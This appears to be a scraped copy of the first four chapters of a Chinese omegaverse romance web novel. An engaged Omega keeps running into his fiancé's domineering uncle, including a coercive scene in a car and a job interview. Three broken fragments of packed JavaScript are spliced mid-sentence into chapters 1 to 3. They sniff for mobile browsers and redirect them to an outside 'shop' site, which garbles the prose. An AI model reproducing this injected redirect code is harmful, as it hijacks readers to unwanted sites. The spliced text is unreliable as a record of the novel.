《被偏执enigma标记后》 1. 第 1 章 被子里还残留着些清新冷冽雾霭雪淞味。 凌然将自己深深埋进去,灼热躁动的呼吸终于被周身萦绕的冷意渐渐抚平了些许。 他没有急着钻出来,意识模糊间不自觉用双腿夹紧了被褥,异常熟悉的alpha信息素能够帮助他度过难挨的发情期。 虽然早上出门前他已经在手臂上注射了一针抑制剂,可是这段时间以来,他感觉到抑制剂对他的作用好像越来越不明显了。 他是个需要伴侣信息素灌溉抚慰的Omega,他的伴侣江盛译高大威猛,样貌英俊,天生便是alpha中的佼佼者,好闻的雾凇信息素更是让许多Omega会不由自主为之倾倒。 可他和江盛译的信息素匹配度高达100%,他们才是天造地设的命定之番。 订婚已经快要两年了,再过三个月,等到他正式毕业之后,他们就会举行海市最盛大的婚礼。 可在此之前,江盛译不愿标记他,甚至连个临时标记都不肯给予。 凌然知道,江盛译是想等到结婚之后再对他进行这一庄重而又虔诚的标记仪式,毕竟Omega一旦被命定之番标记,便可能这辈子也无法离开自己的伴侣了。 盛译是为了他着想。 所以凌然只能一直依靠抑制剂来度过漫长难挨的发情期。 这次江盛译去东南亚出差一个月,凌然实在想他想得厉害,也想念他能让自己浑身舒服下来的雪淞信息素。 所以凌然便借口来江家看望江奶奶,又趁机跑到江盛译房间里,在他床上筑了个小小的巢穴。 纤瘦的身体躺进去,像是严丝合缝嵌进了清爽凉意的雪地里,过热的体温在慢慢下降,凌然阖上双眼,忘记了自己现在还在江家,舒服得快要昏睡过去。 楼下忽然传来江奶奶的声音,不知是在和谁说话,随后有脚步声迈上楼梯,渐渐朝着凌然所在的房间逼近过来。 正在迷糊中的凌然瞬间睁开双眸,意识到自己在江盛译床上做了什么之后,耳根顿时红到了脖子里。 脚步声已然走到了房门口,他双脚虚软地从被子里爬出来,刚强撑着在地上站稳,便听见了房门被人从外面打开的声音。 凌然手忙脚乱地整理江盛译的床铺,背对着门外人心虚解释道:“不好意思江奶奶,我刚才有点困了,就在盛译的床上躺了会,我会给他整理好的,实在不好意思……” 门外的人没有应声,凌然察觉到些许不对劲,停下整理床褥的动作,回头一望,便直接愣在了原地。 来人并不是江奶奶,而是一位西装革履,气势凛然的高大男人。 男人生得一双狭长凤眸,不声不响地盯着人看时,幽暗眸色带着股高高在上的矜贵自持,刀刻斧凿般的冷峻面容也透着不容抗拒的震撼威压,叫人不敢直视。 他就那么慵懒恣意地斜靠在门边,名贵西装裁剪妥帖合身,可还是能隐隐看出宽肩窄腰下蓄势待发的喷薄肌肉,蕴藏着无穷无尽的可怖力量。 他肯定是个alpha,凌然在心中默默的想。 可凌然也来过江家几次,却从来没有在江家见过他。 “你,你是……” 身材娇小的Omega一边发问,一边不自觉退后了两步,直到腿弯抵在了床沿上,才能堪堪保持住表面镇定自若。 江之屿没打算回答,还没踏进屋内,他便闻到了里面隐隐散发出来的微弱甜味。 像是混杂着一股极轻极软的玫瑰花香,还有馥郁芬芳的醉人葡萄香,两种甜腻味道交织融汇在一起,形成了玫瑰花香葡萄味的信息素。 只是随着窗外微风飘来几缕,便让人联想到了紫红莹润挂在枝头随风微颤的成串葡萄。 将熟未熟,汁水丰盈又青涩。 他也从未见过这个小Omega,只是看他白皙透红的粉嫩脸颊,以及盈满水光的潋滟桃花眼,便能猜到些许了。 “没贴阻隔贴?” 男人嗓音低沉醇厚,像浸了烈酒般的迷惑醉人。 可问出的话却让凌然后背猛然一颤。 凌然慌乱的抬手去摸自己后颈处,那片小小的阻隔贴正好端端贴在后面,只是刚才在被窝里蹭的时候,不小心卷起来了一点小边。 “我贴了的。” 他用手指将阻隔贴整理平整,又用力的在上面按了两下。 可不知为何,他的腺体有些微微肿胀,按下去的时候还能感觉到有点刺痛。 凌然眼泪险些冒出来,再抬眼去看门边的人时,却见他不知何时竟然已经迈进了房间来。 江盛译的卧室很大,凌然距离那男人也还有好些距离。 但自己alpha的领地骤然被另一个更加威猛的alpha强行闯入,还是会让凌然觉得浑身不舒服。 “你是客人吗?”他又好心开口提醒道,“江奶奶在楼下。” “客人?”江之屿忽得轻勾了下唇角,朝着那个看起来弱不经风的Omega靠近两步。 果不其然,那股混杂着玫瑰香的甜腻葡萄味更浓了些。 江之屿一惯不喜欢Omega,他们太过娇嫩孱弱,信息素也多为花香果香,太过腻人,所以只适合用来做alpha或者beta的伴侣。 而对于凌驾于一切性别之上的enigma来说,需要的是身体素质和承受能力都更为结实的alpha,也只有alpha能承受得住enigma太过猛烈强劲的攻势。 beta和Omega都不是好选择,enigma不会怜惜,可能会将伴侣弄坏。 眼前这个Omega过于精致柔美,漂亮细嫩的脸蛋清纯魅惑,明亮清澈的桃花眼微微上扬,嫣红饱满的双唇像是含苞欲放的娇艳玫瑰,小巧的唇珠在巴掌大的小脸上格外惹眼。 纵使他伪装的再好,江之屿也一眼看出了他背后的床上凌乱不堪,被围起来的被褥像个小巢。 “你就是这样当着客人的面发情的?”他低声问道。 凌然像是心中的龌龊思想骤然被人揭穿一般,他不过是个亟需伴侣信息素抚慰的可怜Omega,现在却当着江家客人的面如此丢人。 他脸颊更加绯红一片,反手将被子胡乱抖落开,声音细小如蚊:“我没有,没有……” 他没有发情,只是想闻闻江盛译的信息素而已。 江之屿也闻到了被褥间传来的那股令人厌恶的alpha味,连带着眼前人的香甜葡萄味都变得恶心难闻起来。 江奶奶的声音忽然从楼下传来。 “然然,然然?午饭好了,快下楼吃饭了。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13403926|141250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 凌然忙扬声回答:“我这就下来。” 江之屿目光在他身上来回扫视两圈,嗓音冷了些:“收拾好再下楼。” 说完便转身离开了房间。 凌然如释重负,他赶紧从口袋中掏出信息素阻隔剂,朝身上和床上使劲喷了几下,再将床褥重新整理好后,便慌慌张张从楼上跑下来。 只是没想到刚才那个男人竟然也在饭桌上,还看起来跟江奶奶颇为亲近。 江奶奶看见傻站在楼梯上的凌然,冲他慈爱一笑:“然然,还不快过来吃饭,今天奶奶让人做的都是你爱吃的。” 男人闻言,也抬眸向他看过来一眼,只是凤眸压低,充满窥视和探究。 凌然心虚的笑了笑,有些不情愿地挪步过来,在江奶奶另一侧坐下了。 江奶奶亲自给他盛了碗鱼汤,嘱咐他道:“然然啊,你可得多吃些才好,可不能为了婚礼搞什么节食减肥的,奶奶看你现在还太瘦,得再养胖些才好。” 江奶奶对乖巧可人的凌然是怎么看怎么喜欢,经常叫凌然来家里吃饭,疼他比疼亲孙子还多。 凌然笑着接过:“谢谢奶奶。” 然后便听话的低头一勺一勺地喝起来鱼汤。 江奶奶心里更加欢喜,摸了摸他的脑袋,扭头却见另一边的人没喝鱼汤不说,还把碗远远推开了。 她生气地将鱼汤又放回江之屿面前,说道:“你这孩子怎么一点不听话,前段时间我听赵钦说你去医院了?公司的事情再忙,也得按时好好吃饭,你看然然多乖,你也把这鱼汤给我喝了。” 凌然听了,偷偷摸摸抬眼去看,结果正撞进一道似笑非笑的眼神中。 像是在说,你卖什么乖。 他吓得赶紧又把脑袋垂了下去。 江之屿轻笑道:“您明知道我最讨厌的就是鱼,是不是想赶我走?” 江奶奶横眉道:“你要走就走,现在走了以后也别再上我家的门!到时候盛译结婚你也不用来!” 江之屿见老太太年纪越大脾气也越大,知道拿她没办法,便端起面前的鱼汤浅浅抿了口,实在腥的难忍。 倒是那个小Omega看起来爱喝的很。 他抬手,将手中的鱼汤放到了一直低着头的Omega面前。 凌然瞧见一只修长骨节如玉的手在眼前一闪而过,随后听见道调笑意味的嗓音响起。 “不如,你替我喝了。” 凌然后背一僵:“啊?这,这……” 你都喝了一口了,这合适吗? 江奶奶怒瞪了江之屿一眼,对凌然道:“然然你喝你的,别听他胡说八道。” 见凌然眼神茫然,江奶奶又对他解释道:“你啊,还是来看我老太婆的次数太少,是不是还从来没见过之屿?” 凌然乖巧点头。 江奶奶说道:“没见过也不奇怪,之屿也不常来我这,他管着集团的事情,忙的整日见不着人,说起来,你也得随着盛译,叫他一声小叔呢。” 凌然有些不敢置信的瞪圆了眼眸,不知所措的看向面前的男人。 他看起来如此年轻俊美,身份矜贵,竟然会是盛译常挂在口中的那个不择手段,争权夺势的可怕小叔? 而自己刚才当着小叔的面,在筑巢?! 2. 第 2 章 这顿饭凌然吃的食不知味,连鱼汤他都没喝几碗,便急匆匆找了借口,然后向江奶奶道了别。 从别墅出来的时候,天上正好下了雨。 凌然暗道今天难不成真的是水逆,他在盛译的小叔面前丢了人不说,现在还得淋着雨回家。 谁知才走出去没两步,雨势竟然就大了起来,凌然头发都有些湿了。 他将外套领口往上拢了拢,正准备拔腿就跑,谁知身后却忽然缓缓停靠过来一辆黑色迈巴赫。 车身流畅奢华,凌厉破开雨幕,宛如一只蓄势待发的凶恶猛兽。 凌然有些呆愣住了,这片别墅区内出现豪车倒是并不稀奇,只是他并不认识这车。 后排车窗在他面前缓缓降落下一条缝,一道气势迫人的视线从里面幽幽望过来。 凌然后背猛然一僵,这充满窥探和洞悉的眼神,他刚刚才见识过。 里面的人发了话,嗓音穿破落雨钻进凌然耳朵里。 “上车。” 凌然却不自觉往后退了半步,他下意识便拒绝道:“不用了,我自己可以……” 只是他话音未落,乌云下便横劈下来一道惊雷,惯彻云霄。 凌然被那道雷声吓了一大跳,他抬头看了眼,默默抿了抿唇。 看样子这是有雷暴雨要来了。 车内人仿佛已经失了耐心,催促道:“上来,别让我说第三遍。” 凌然想到盛译之前告诉过自己,他这位小叔霸道专横惯了,就因为不顺意便派人把对家的腿生生砸断,手段极其残忍可怖。 如果自己也惹得小叔生气…… 凌然立即拉开车门,一屁股坐进了车内。 车窗随即升上,司机踩动油门,迈巴赫在一片雨幕中疾驰而去。 暴雨似乎在他上车的一瞬间便倾泻了下来,凌然有些坐立难安,小声对身旁的人说道:“谢谢,小叔……” 即使他声音细小如蚊,在封闭性极好的车厢内还是能听得一清二楚。 江之屿侧眸望过来,似乎对他给自己的称呼很感兴趣,低笑一声问道:“你叫我什么?” 坐在他身侧的小Omega似乎很是紧张,浑身都紧紧绷着,屁股只坐了一小半在真皮座椅上。 他身上应该是刚才被雨淋湿了些,原本有些微卷蓬松的头发现在乖顺柔软的紧贴在雪白脖颈间。 还有股极其清淡的甜香味道,仿佛正在隐隐从他身上散发出来。 凌然扯了扯潮乎乎的外套,又乖乖喊了声:“小叔。” 他和盛译就快要结婚了,自然是要将盛译的长辈当成自己长辈一般尊敬。 可这位长辈像是对他没什么敬意,那道狭长幽冷的目光一直在他脖子后面逡巡。 那里虽然贴着一片小巧轻薄的阻隔贴,可是这样光明正大盯着他腺体看,是不是太过无礼了…… 凌然抬手,轻轻覆盖住了那片贴在后颈处的阻隔贴,他这才发现因为刚刚淋了点雨,阻隔贴的边边竟然又翘了起来。 他竭力按下那处翘边,可是阻隔贴已经失去了黏性,也不肯再乖乖附着在颈后,反而摇摇欲坠,几乎快要掉落下来。 凌然急忙在口袋中翻找,可惜他今天只带了阻隔剂,没带多余的贴。 他正愁着不知该如何是好,便听见身旁的人沉声吩咐前座的司机:“拿片阻隔贴过来。” 司机赵钦顺手在一旁的储物格内拿出片阻隔贴,向后递了过来。 凌然颇有些感激的看了眼江之屿,这才双手将阻隔贴接了过来。 “谢谢。” 看来刚才是自己误会了,小叔虽然看着吓人,但其实还是很和蔼友善的。 但是接下来这位和蔼友善的小叔便又开了口:“你脖子上的湿了。” 凌然张了张嘴巴:“啊……” “揭下来换上。” 凌然瞪圆双眼:“啊?!” 前座的赵钦极有眼力见的按了个按钮,迈巴赫宽敞的后座前便缓缓升上去一层隔板,将车内空间分隔成了两半。 凌然捏紧了那片阻隔贴,却迟迟没有动作。 江之屿倒颇为闲适慵懒的模样,曲起一只手臂担在了车窗上,两指轻轻搭在眉尾处扶住,侧着眼眸紧紧看着身侧的小Omega。 “不会自己换?”江之屿问道。 凌然咬了咬唇肉,轻声道:“会的。” 他犹豫再三,还是将那片崭新的阻隔贴包装拆开了,上面还写着alpha专用。 这是给易感期的alpha专用的阻隔贴,以防alpha控制不住信息素溢出,Omega当然也可以用,而且阻隔效果只会更强。 凌然一边拆着,一边暗想,他果然是个alpha。 磨蹭再三才将包装拆好,凌然一手拿着新的阻隔贴,一手伸到自己脖子后面,摸到了那处微微卷起来的翘边。 他深深吸了口气,在心里默默为自己鼓劲。 不就是当着人的面换个阻隔贴吗,又不是换衣服,有什么见不得人的。 他只要动作快一点,不会有信息素泄出来的。 他指尖猛地一使劲,当真将那片濡湿的阻隔贴瞬间揭了下来。 凌然赶紧准备将那片新的贴上,可手腕才刚抬到身侧,便忽然被一股力道猛然攥住。 那股香甜诱人的玫瑰花香葡萄味道几乎是瞬间在车厢内炸裂开,像是被打翻在地的鲜榨葡萄汁,混杂了魅惑醉人的玫瑰芳香,奔腾叫嚣着便往人肺腑里钻。 江之屿攥紧了那段细弱不堪的手腕,仿佛指尖微微用些力气,便能直接将娇花般的Omega直接摧折。 他不让这小Omega把阻隔贴贴回去,反而用另只手将他脖颈处的湿黏发丝轻轻挑开了些许。 底下那处微红肿胀的孱弱腺体便没有任何阻隔的暴露在了潮湿的空气中,浓郁的葡萄香味顿时更加潋滟激荡。 凌然已经被他突如其来的举动彻底吓住,那双充满侵占凌虐欲望的凤眼此刻正在牢牢盯住他可怜的腺体,还不准他有丝毫躲避。 凌然心里委屈的快要哭了,一双桃花眼也洇透了红通通的眼尾。 “你,你放开我,呜……” 他的腺体还从没有被人这样注视过。 江之屿眸色暗沉,瞧见那处腺体虽然红涨着,可是却一片光洁,并没有被人咬过的齿痕。 他问道:“你没被标记过?” 凌然手腕被他攥得生疼,指尖的阻隔贴都快要捏不住了。 他轻声哽咽:“没,没有……” 江之屿并不相信:“你和盛译订婚已经快两年,他居然没有标记过你么?” 凌然听出他语气中带着的淡淡嘲弄,拼命将手腕从他掌中抽离出来,快速把阻隔贴贴在了自己腺体上,又把发丝拨弄回去,领口牢牢竖起来,满是戒备。 “盛译说,要等到结婚之后,”凌然闷声闷气地道,“他很尊重我。” 不像你! 江之屿不以为意,他的目光落在方才被自己不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13403927|141250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过攥了一把的细白手腕上,那里竟然已经微微红了一片。 所以他才不喜欢这么柔弱的Omega。 只是他没想到江盛译居然一直没碰过这个小Omega,不是说他们是命定之番,信息素匹配度高达100%么。 看来不过如此。 车子很快在凌家门前停下,雨在此时恰好也停了。 车门一打开,凌然逃也似的从车上跳下来,飞速又道了句谢,然后便头也不回的跑进了家门。 江之屿望着他无情离去的背影,淡淡勾了勾唇角。 虽然胆子小,但是还挺乖。 赵钦接了个电话,随后降下隔板,跟后座的人汇报道:“江总,东南亚来的消息,说是江盛译跟那边的龙头企业已经谈好了合作案,怕是老爷子接下来也会同意江氏往东南亚市场发展了。” 江之屿闻着车厢内尚未散去的葡萄甜香,心中不知在沉思什么。 * 凌然回家后,才发现客厅内一片可怕的沉寂。 他蹑手蹑脚走进来,被姐姐凌沫一把拉住。 “小然,你去哪了,怎么现在才回来?” 凌然见大哥凌溯在沙发上端坐着,像是专程在等他一样。 他乖乖回答道:“我去找盛译了。” 凌溯厉声问道:“江盛译不是最近去东南亚出差了吗?他应该还没回来吧?你什么时候还学会撒谎了?” 凌沫瞪了大哥一眼:“你那么凶干什么,小然本来就为了家里付出的最多,爸妈让他去联姻,指不定他以后会受什么苦呢,趁他现在还没结婚,你对小然态度好点。” 凌氏虽然近年来已经稍显没落,但是家族根系深厚,仍旧在海市颇有威望。 凌父凌母生了三个孩子,凌溯和凌沫是对双胞胎,都是alpha,将来是要继承家业的。幸亏小儿子凌然是个娇俏可人的Omega,最适合用来联姻。 凌父凌母担心凌然不答应,先前还给他做了好些思想工作,没成想凌然一听是跟江盛译联姻,红着脸蛋便同意了。 这两年来,眼看着江盛译在江氏混得越来越如鱼得水,凌家却在生意场上屡屡失意,便生怕这桩联姻会被江家退婚,所以也经常提醒凌然要多去江家走动走动。 家里唯一心疼凌然的,可能就只有凌沫了,她总怕自己这个Omega弟弟太乖太软,去了江家那样的龙潭虎穴会受委屈。 凌溯却道:“你懂什么,他既然生为一个Omega,那就是有他的使命在,他目前唯一的使命就是伺候好江盛译,帮助我们凌家攀上江家这棵大树,要是他在外面胡乱鬼混,到时候被江家退婚了,那凌氏也就算是完了。” 凌沫揉了揉凌然的脑袋,对他柔声道:“小然,你别听他的,刚才是不是在外面淋雨了?快上楼洗个热水澡,换身干净衣服,别感冒了。” 凌然点点头,转身便往楼梯走。 才刚站上楼梯口,便听见凌沫在身后忽然凝重的叫了他一声。 凌沫是不会相信如此乖巧的弟弟会背着未婚夫在外面鬼混的,可是她刚才怎么好像在凌然身上闻到了一股怪异的味道。 alpha对同性之间的信息素异常敏感,即使是不小心沾染上了一点点,也会在alpha感官中被无限放大。 她确信凌然身上的,是另一个alpha的信息素,并且等级非常高。 像是,某种极其烈性的酒味。 “你今天见了其他的alpha?”凌沫忽然问道。 3. 第 3 章 凌然压低了眼眸,鸦羽般的长睫像是心虚一般轻轻颤动了两下。 他说道:“没,没有啊,姐姐。” 若是被哥哥姐姐知道他不仅见了,还被那个无礼的alpha盯着看了好半天的腺体…… 凌沫没有被他轻易糊弄过去,正色说道:“小然,虽然江盛译最近不在,但是我听说他下周就要回来了,在此之前你还是不要跟其他alpha有过多接触,最主要的是以后要小心些,千万不能染上其他alpha的味道。” 凌然只乖乖说了声“好”,然后便逃也似的上了楼。 回到自己卧室,他快速冲了个热水澡,将身上黏湿的潮气洗去。 镜子中的Omega身段纤细,皮肤白皙,柔韧的腰肢不赢一握,仿佛生来就是为了让alpha的大手尽数掌握。 只是他的手腕处现在还微微泛着红痕,是今日在车上被人用力攥出来的。 纤长的脖颈后面此刻还贴着那个alpha专用的阻隔贴,凌然伸手,轻轻从腺体上揭了下来。 几乎是刹那间,浓郁的玫瑰花香葡萄味像是四泵五裂般从后颈处喷洒出来。 雾气蒸腾的浴室内顿时被醇郁的花香和果香笼罩在内,只是馥郁的葡萄香味比之过往有些太浓了。 能感觉到信息素在顺着身体里的血液朝着四肢百骸疯狂的奔走流窜,狰狞叫嚣着要从寸寸肌肤中逃离出来,挣扎着,激荡着,冲撞着,要在娇小的Omega体内寻找些慰藉和抚慰。 可寻遍了整具身体也找不到能够抚慰它们的alpha信息素。 血液便流淌的更狂乱了些,凌然呼吸逐渐加重,支撑不住这股信息素乍然作乱,他两手死死抵在洗手台上,哆哆嗦嗦快要站立不住。 潋滟的桃花眼尾被生理性的泪水洇透,他不知道自己是怎么了,只是感觉身体难受的快要被生生撕裂,又仿若有万千只蚁虫在体内每一处骨肉狠狠啃噬。 脖子后面的腺体在一涨一涨的,疼痛难忍。 无力的趴在洗手台上缓了好一会,他才终于能够细细的喘匀一口气,伸手轻轻摸了下后颈处的腺体,一股钻心刻骨的刺痛顿时袭来。 “呜……” 凌然不自觉轻声呜咽了下,裹着浴袍扶墙从浴室内走出,慌慌张张的在抽屉里翻出来一支抑制剂,急不可耐的推进了纤细的手臂中。 沁凉的液体瞬间将体内躁动不安的灼热刺痛感渐渐抚平,连带着后颈处的疼痛都减轻了不少。 凌然终于又恢复了些意识,他发丝凌乱的将自己紧紧包裹在被褥中,从没有如此想念过江盛译的雪淞信息素。 他觉得自己可能坚持不到结婚之后了,他是如此迫切焦急的渴望alpha的标记。 哪怕只是个临时标记也好。 他这具纤薄孱弱的Omega身子已经靠着抑制剂度过了分化之后的每一个发情期,可他吸取到命定之番的信息素越多,下一次的发情期就会来得更加汹涌迅猛。 凌然才刚洗过澡,浑身已经又被汗湿透了,他疲惫的阖上了双眸,昏昏沉沉便睡了过去。 * 翌日一早,凌然便被手机铃声吵醒了。 刚一接通,秦诚月欢快的嗓音从听筒内传过来。 “小然!还记得我跟你说过的江舟娱乐新闻频道要招实习生的事吗?我把咱俩的简历都投了过去,没想到居然都过了!今天就是面试的日子,你起床没,我马上就到你家楼下了,速速下楼!” 凌然还睡眼惺忪着,茫然的回了句:“啊……” 秦诚月声音又大了几分:“你现在!立刻!马上!给我下楼!” 凌然抓了抓头发,好不容易才明白过来他刚才话的意思。 “你给我也报名了?” 秦诚月自豪道:“报了!谁让你说江舟娱乐是江氏的产业,一直不好意思报名来的,我就自作主张帮你报了,不用谢。下楼没有,我马上就到了。” 凌然一骨碌从床上爬了起来,边飞速在衣橱内找着衣服,边含混不清的对着听筒道:“下了下了,在门口了。” 秦诚月疑惑道:“我就在你家门口啊,你在哪呢?” 凌然将手机听筒离自己远了些:“喂,喂,信号不太好,你等我十分钟……” 说完,他便立即挂断了电话。 江舟娱乐是江氏旗下的娱乐产业,虽然并不是江盛译主管,但总归是跟江家有关系的。 凌然不想被人说成是走后门进入江舟娱乐的关系户,所以看见江舟娱乐在招播音主持实习生,也没好意思主动报名。 他和秦诚月是大学同学,临近毕业了,同学们都在积极投简历找工作。 他是很想进江舟娱乐的新闻频道,尤其是晚七点档的新闻独播栏目,总是能站在犀利的角度解说热点事件,且从不与其他新闻媒体同流合污,是真的很有新闻人的先锋精神。 但江舟娱乐挤破头也难进,更别提他们只是刚准备毕业的应届生。 秦诚月那么激动是有原因的,他们的简历能通过海选,并且是在没有走任何后门的前提下,这是不是证明他们还是有机会能靠自己进入江舟娱乐的。 凌然换好衣服之后,抓了几个阻隔贴塞进书包里,便急匆匆下了楼。 秦诚月端端正正坐在一楼客厅,一个信息素是西瓜味的小Omega被沙发上两个气势凛然的alpha团团包围,看见从楼梯上下来的人后,像看到了大救星一般。 “小然,你可算下来了,”秦诚月站起身来,“我们该走了。” 凌溯看了两人一眼,问道:“又要去哪?” 凌然有些怯懦地抿了抿唇瓣,他今天穿得是件学院风的白色衬衫,外面套了件浅灰色针织马甲,背后还背着个小巧双肩包,一副乖乖好学生模样。 “我和诚月约好了今天要去图书馆复习的,毕业前还有一次大考。” 他大学没有听从家里人的话学金融管理,而是学了播音主持,父母和哥哥姐姐从来都不支持他当新闻播音员,他只能先自己偷偷找到个工作,再好好想想怎么跟家里人解释了。 秦诚月连忙道:“对对对,我们要去复习的。” 凌溯这才松了口:“去吧,记得别跟什么不三不四的人在一起鬼混,晚上早点回家。” 凌然软声道:“知道了哥哥。” 他又冲姐姐凌沫笑了笑,然后便拉着秦诚月的手飞快跑出了家门。 秦诚月的司机一直在门外等着,见两人出来后,忙过来打开了车门。 赶往江舟娱乐的路上,秦诚月大大松了口气,对凌然道:“我每次见你哥哥都能被吓个半死,就算是alpha也不该总是那么凶巴巴的吧,你在家里会不会受他欺负啊?” 凌然从包里掏出几个阻隔贴,两支抑制剂,三瓶阻隔剂,对着自己身上来来回回喷了四五遍,这才安心的又把东西一一塞回了包里。 “不会啊。”他回答道。 秦诚月被他小巧的包里能塞下那么多东西惊得合不拢嘴,说道:“你知道我们是去面试,不是去什么银趴的吧?” 凌然见他这么口无遮拦,十分惶恐的望了眼前座开车的司机。 司机面上毫无波澜,仿佛没听到一般。 “你在乱说什么呀。”凌然瞪了秦诚月一眼。 秦诚月委屈极了,指着他鼓鼓囊囊的小包:“那你带这么多东西干嘛?江舟娱乐是正经公司,不是什么贩卖Omega的地下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13403928|141250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 交易所。” 凌然此时此刻还能感觉到自己后颈处的腺体在微微发热,从昨天晚上开始就一直这样了,可他明明打过抑制剂了啊。 他没办法跟秦诚月解释,自己是因为太过渴望alpha伴侣的标记,所以生怕自己又会跟昨晚那样忽然陷入难以自拔的发情狂潮,才必须时时刻刻备着这些应急物品。 他只是胡乱找了个借口:“我有洁癖。” 秦诚月还没来得及细想,车子便已经在江舟娱乐的大楼前停了下来。 辉煌气派的摩天大楼高耸入云,矗立在整座城市最繁华的海滩外。 两人下了车走进大厦后,从没有如此直观的感受过江氏无可比拟的财力。 虽然凌氏和秦氏也都算得上有钱人家,可跟发展如日中天的江氏一比,还是有些相形见绌。 凌然拍了张大厦一楼的照片,发了个消息给自己的未婚夫。 【不吃葡萄】:照片.jpg 【不吃葡萄】:猜猜我在哪? 【不吃葡萄】:(疑惑猫猫头表情包.gif) 对面的【亲亲阿译】久久没有回复。 凌然难免有些失落,随手往上翻了翻两人的聊天记录,基本都是他一个人兴高采烈地分享好几条,对面人才不冷不淡地回复一条。 他知道盛译总是很忙,所以他也一直很乖。 可是这段时间以来盛译回他消息回的越来越慢,有时候甚至干脆不回。 他也是个有感情的人,受到这样的冷落也会感到伤心难过的。 一旁的秦诚月像是看出他失落,戳了戳他的手臂,兴奋的说道:“小然,要是你以后也进了江舟娱乐,那你岂不是就能和自己老公在同一个公司上班了?” 周围人来人往,虽说并没人认识他,可他还是微微红了耳根。 “你小点声呀。” 秦诚月不以为意,拉着他上了电梯,来到了面试的楼层。 好不容易赶到面试会议室外,他们才发觉外面竟然已经满满当当坐了二三十个人。 两人的面试号排在中间位置,前面排了十好几个人,要等到前面人挨个进去面完之后才轮得到他们。 排队等候的空档,有两人正好面试结束结伴往外走。 一人低声嘟囔着:“不是说今天只是初面而已吗,谁知道江氏的总裁都亲自过来把关了,我一进去里面的气场快把我腿都吓软了,我刚才念稿子结巴了好几次,肯定没戏了。” 另一人道:“就是啊,一个小小的新闻频道实习生,居然能劳驾江之屿出面,可能是新闻独播的负责人尹楚请来的吧,不是听说他跟江之屿有一腿吗?” “我也听说过!尹楚是个绝色美人Omega这是众人皆知的,但是江之屿是alpha吗?我怎么觉得他比alpha气场更强啊……” 那两人的对话凌然听了个清清楚楚,他揪住自己衬衫的手指都忍不住指节泛白了些。 江之屿也在里面? 听到这个名字,他心脏就不受控制的快速跳动了两拍。 脑海中自动蹦出来昨天暴雨逼仄的车厢内,那双漆黑幽深的眼睛紧紧盯着他腺体看的模样。 秦诚月坐在他身旁,脸颊似乎比刚才红了些。 他对凌然说道:“小然,把你背包借我下,我有点不舒服,我先去洗手间推支抑制剂。” 凌然正在出神,周围环境嘈杂,并没有听到他说了什么。 他干脆拿起凌然的包就去了洗手间。 等凌然发现自己的包和秦诚月同时不见了时,他刚要起身去寻找,却忽然听见会议室门口有个身姿曼妙的女秘书在喊道—— “下一个面试的是,17号,凌然。” 4. 第 4 章 想要再去找秦诚月已经来不及,凌然抿了抿唇,他实在不想放弃这个进面的机会,这也是他证明自己的最好方式。 他起身走到会议室门前,深呼吸了一口,缓缓推开了那扇厚重的玻璃门。 刚一踏进去,他便懂了那个面试者说的里面气场太强是什么意思。 偌大的会议室侧面便是光洁透亮的落地窗,而另一侧坐着七个西装革履面色威严的面试官,在听见有人进门的声音后,审判与探究的目光便齐刷刷扫射了过来。 尤其是在察觉到其中最为强烈玩味的那道视线来自坐在正中间高大英俊的“alpha”后,凌然阻隔贴下在微微发热的腺体骤然剧烈突突了一下,他也被一股莫名的强势威压逼迫的两腿有些发软。 这些面试官中应该不止一个alpha,即使大家都贴着阻隔贴,身上也喷了能隔绝信息素的阻隔剂,可这样像是审讯犯人一样的面试场景,还是能让一个Omega心虚气短,心脏快速跳动到即将爆炸。 凌然强装镇定,走到了摆在江之屿正对面的座位旁边,冲着众人礼貌鞠躬,嗓音又甜又软。 “各位面试官好,我是17号面试者凌然。” 坐在江之屿身侧的人面色柔和秀美,微长的头发顺从的贴在耳侧,光看外貌便知是个充满艺术气息的温柔Omega。 凌然认识他,他便是一手创办了江舟娱乐新闻独播栏目的尹楚,以前也是整个新闻频道的台柱子,每次只要尹楚播报新闻,那个时段的新闻收视率都能创新高。 但是这两年尹楚慢慢转成幕后,亲自担当主播的时候也少了。 “凌然是吧,”尹楚冲他温和地笑了笑,“别紧张,桌子上有篇新闻口播稿,你按照自己的理解读出来就可以了。” 凌然被这道如春风拂面般轻柔的嗓音安抚了些许,定了定心神,努力让自己忽视掉对面那位存在感极强的小叔,坐下开始用播音腔调朗读起来。 “近日,一起令人震惊的Omega少年被拐事件引发广泛关注……” 方才还略显甜美的Omega嗓音,在一本正经的开始新闻播报之后,便稍稍褪去了几丝稚嫩。 像是晨曦中穿透薄雾的第一缕阳光,温暖又清澈,饱满又富有情感,就连抑扬顿挫都恰如其分,能够轻易穿透听众的心灵,直达人心。 